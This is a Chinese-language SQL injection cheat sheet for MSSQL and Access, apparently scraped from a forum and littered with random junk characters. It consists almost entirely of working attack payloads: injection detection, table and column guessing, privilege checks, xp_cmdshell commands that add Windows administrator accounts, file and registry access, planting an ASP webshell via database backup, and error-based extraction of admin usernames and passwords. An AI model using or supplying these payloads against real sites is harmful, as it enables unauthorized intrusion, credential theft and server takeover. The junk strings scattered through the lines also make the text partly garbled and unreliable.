1.判断是否有注入
2 c' @/ h8 e# o; ~: R; S; y, J% ]: P;and 1=1 ! y0 S# B' c. F& P' U
;and 1=2
W0 Q) k! I1 j5 E+ J: }
6 p0 u; D5 h' M2.初步判断是否是mssql
9 ~7 Y) j" y" k9 D" Q: v% k( H;and user>0
- A# ^* C5 z! S$ E( x
8 {. F. O" h/ z) Z3.判断数据库系统 k- v4 n# F S# x
;and (select count(*) from sysobjects)>0 mssql
- M+ d# W3 L5 m0 g) ?# Z$ P) z6 G;and (select count(*) from msysobjects)>0 access
9 `. j8 E2 W- E" j" v; S6 b
) {6 \7 S9 @+ x4.注入参数是字符 $ g! E' d {1 O8 G4 W
'and [查询条件] and ''=' & k8 i. f( T! t. y
2 z2 [3 H1 W5 c& P
5.搜索时没过滤参数的 ) T6 f: ]1 s9 ^
'and [查询条件] and '%25'=' 8 ~6 d# H' |4 G* N$ p! j) i$ d8 H
; Q& t" J- Z5 P8 S3 A, ]6.猜数表名
p- I" u9 g& _. q;and (select Count(*) from [表名])>0
4 i( f" b0 C0 i2 O. C6 r
+ U" J; b$ u; m3 E7.猜字段
4 C4 F' ]* i' V) K6 b7 H! E0 q* ~( {;and (select Count(字段名) from 表名)>0 2 y; {0 ~5 }0 Q& P- a' w
7 R! t7 w' t2 c V6 {# h$ d6 J8.猜字段中记录长度 * D) c h' Q, x# A7 U
;and (select top 1 len(字段名) from 表名)>0
+ N$ ~: E0 }) K& _% S
2 n. B! S8 h3 A9 X0 h1 d9.(1)猜字段的ascii值(access) % `' C9 t9 k/ g3 c5 e( v( y
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 # \: K, P9 V7 b: p* y
' H$ a5 _* ~6 D7 G& ~- x) c$ `
(2)猜字段的ascii值(mssql) ; P# {/ {% ~& @6 J+ f
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
/ w) @3 E+ m; @$ h# u5 S* E, t3 |
10.测试权限结构(mssql)
+ C: z5 b M+ L, N5 B' l& ^: E3 E;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 l5 w/ V8 k+ ?5 D;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . A3 S( |3 M0 M4 {: e! [, p) r( s
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# N- B* S% d+ K K8 R! P;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 A4 P* Y2 o! L$ N;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- : h$ R& X3 i9 m* v) g5 p
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& F' \, q8 N$ q; Y" {- w$ D;and 1=(select IS_MEMBER('db_owner'));--
% a# u% ~& G- W+ _+ v0 L- \
1 b9 {( I+ j* k% T- `0 v% h11.添加mssql和系统的帐户 1 H/ d" }# ]3 r# M' b- V
;exec master.dbo.sp_addlogin username;-- , A; O6 k% G- @+ c6 C' ^
;exec master.dbo.sp_password null,username,password;--
+ p4 c/ _5 X! D5 J) ?;exec master.dbo.sp_addsrvrolemember sysadmin username;--
& q& Y9 v1 G. I+ K: e/ e0 u( B;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- + d! G8 R6 ^5 m+ [. H: h( e
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ! x. q5 Z3 q6 R3 m; I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
4 s# D* X) o4 V& l) z1 \5 k4 O l5 G6 [+ w Q( E
12.(1)遍历目录 2 c3 |8 ^: u" z9 n. z
;create table dirs(paths varchar(100), id int) + K7 {# U) `6 T7 Y2 H) ^8 R
;insert dirs exec master.dbo.xp_dirtree 'c:\'
7 Q8 {; V. I. r/ m! D9 ^;and (select top 1 paths from dirs)>0
3 k% ~# k8 R, E$ Y4 t;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 o; X5 |+ E# `$ Z# r0 y! [
$ p2 \, T! {$ m(2)遍历目录
: M1 @5 _5 y/ H;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " g" r8 B) q N
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 Q+ \' S O' l& c: z; z! A- u7 P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5 u2 z5 n9 v( a- R# t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 9 l- j. t1 m! y0 @" f$ Z0 ?, v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
+ _! w9 e: o) t) O* ]! @, W: T) C9 b8 a% @- _: V0 {
13.mssql中的存储过程
7 m# Z3 z( D5 a6 U" N- @xp_regenumvalues 注册表根键, 子键
1 M4 K' Z4 l- J+ h;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9 n/ E. q: d4 u
xp_regread 根键,子键,键值名 ! H" }6 O, I) ^- T
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2 \5 }3 M4 | Q
xp_regwrite 根键,子键, 值名, 值类型, 值
9 k3 ~) O# d: j值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! d1 B1 a, Q& L V7 y4 m5 g;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
* `/ z+ Z+ B4 z& u2 v/ ?& a3 Yxp_regdeletevalue 根键,子键,值名
# Z* [# Z$ W2 T: [$ ^exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
+ F2 ~1 S6 h! M2 ^" a' fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
2 @% t3 ]7 D/ m* X* I1 K4 @
# C. K8 ?* F9 H# W14.mssql的backup创建webshell
9 s+ z2 u, I! [& I* k- Duse model ; w! n) }$ g, ?
create table cmd(str image);
6 b( R( K1 B* X- Pinsert into cmd(str) values ('<% Dim oScript %>'); 0 @7 m, z0 ~ G2 v
backup database model to disk='c:\l.asp'; & Z1 c: r7 f0 k7 i* i
. x) ]* t, e9 A' l15.mssql内置函数
3 {, H! X: D) K;and (select @@version)>0 获得Windows的版本号
) J* K4 h6 f; N4 a: k: l;and user_name()='dbo' 判断当前系统的连接用户是不是sa * o) `# [ d5 A: k U
;and (select user_name())>0 爆当前系统的连接用户
2 r$ v' t4 T4 _5 W: g# b* G;and (select db_name())>0 得到当前连接的数据库
0 U( V: C" `0 J/ @! J- G
1 ]- O4 r# K' t+ r. ?2 W' T7 Y6 Q. Q" |. f
" f! k3 v$ B( X# o0 b6 y; |; yMSSQL手注暴库
* B$ q. @2 ?( J& m* @
; ? O4 T6 g' \0 J7 {/ H+ z1.暴出当前表名和列名
/ \: E$ M' r. v/ r" A, U# G在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。2 \' s+ O! D: U* W% \, C
4 p5 M' q2 n4 ? g7 c6 c# [( G. M
第一.爆出所有数据库名
3 ]* A9 t; z- O2 a7 e c, @$ S* }利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
/ b! p7 S" Q/ |; h& D/ F& U第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。" J. k% J: a- t3 J- a6 h
; h! m @4 o( n1 b0 `and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名9 }# m$ C% p7 ^! g2 @$ K( P% k
/ [( h E; Q6 w9 n
2 ?; K8 g1 Q, d/ N+ s8 x% b4 m8 d第二.爆出指定库中的所有表名
+ q6 g6 W& Y# y" I% p$ [得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。4 E( G5 l* ^8 ]" p
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
5 C0 f ^" E9 Q8 r/ P8 e# R
# Z u7 q: T5 W" c( D! c1 [, _and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--7 |0 g3 i3 [0 }7 e4 G$ V, O
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ Z) R2 |+ `9 u% y
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--1 U- z) z$ ]5 O4 ]
. x8 M3 P; {$ O+ P4 Q. o3 j- `
4.爆出指定表中的所有列名
# L4 _( n, u7 g' L0 q- ~9 yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 4 y8 L; D6 O& I% ?. y% @
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
/ c: c x A# i f# P( n: f$ k
( J! V% P' J9 A9 j; n/ [and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
; \4 @; }3 n% N r6 E3 T6 w" F: y; Z; O! m6 M
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
& [8 O! z* s( b' r( P. V; ^依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
7 }( a6 A$ L0 I" ~: m0 P
2 c. c5 ]; Y; V; K8 B% {) c7 \% J: |* q e9 i# q
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
5 e1 a' c$ B4 R% u8 P, _) L e! i o) P! k% H9 S: R/ p8 T
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名9 i% [# u, k5 R* P6 C! @4 k. \5 d5 z* x& ~
; N+ n+ V3 B+ [: |! ^8 Dand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
+ N$ A) b+ Z1 W/ b- K$ Y7 l! l! G0 I
: T( o, i, q5 u: A" B9 M' V. n, ~7 a$ v6 n) Z- c
9 a& n. f& `2 t
5.读取指定表中的数据
3 m6 P7 A M0 z3 a* D
4 H! r2 Q3 ?/ \( B9 Y% Pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; P. Q/ P1 w/ J/ d( R! E! U9 n8 z# \% t$ T; p
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--: u* z) [1 [& C
3 U& t5 ?( f3 w; _3 c6 L0 e3 O/ Y
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码4 s8 G N/ x0 i6 N& C$ @
: L4 q+ ^5 g& V' e7 Q
) S( z$ @& j1 Y) g$ J! O/ O
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)% h, o2 U5 c0 ~0 c0 P3 G
+ W- I* K$ W9 l2 R& |and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ t7 [ R: M1 Z/ }/ K
- z" a9 u4 ]3 k. {' S$ Y! y
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
; d7 c9 Q! ~! {1 Y) U6 `0 p8 p# T2 P4 ?3 U F
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
& B5 ?3 T# }3 W8 F' z- ~ |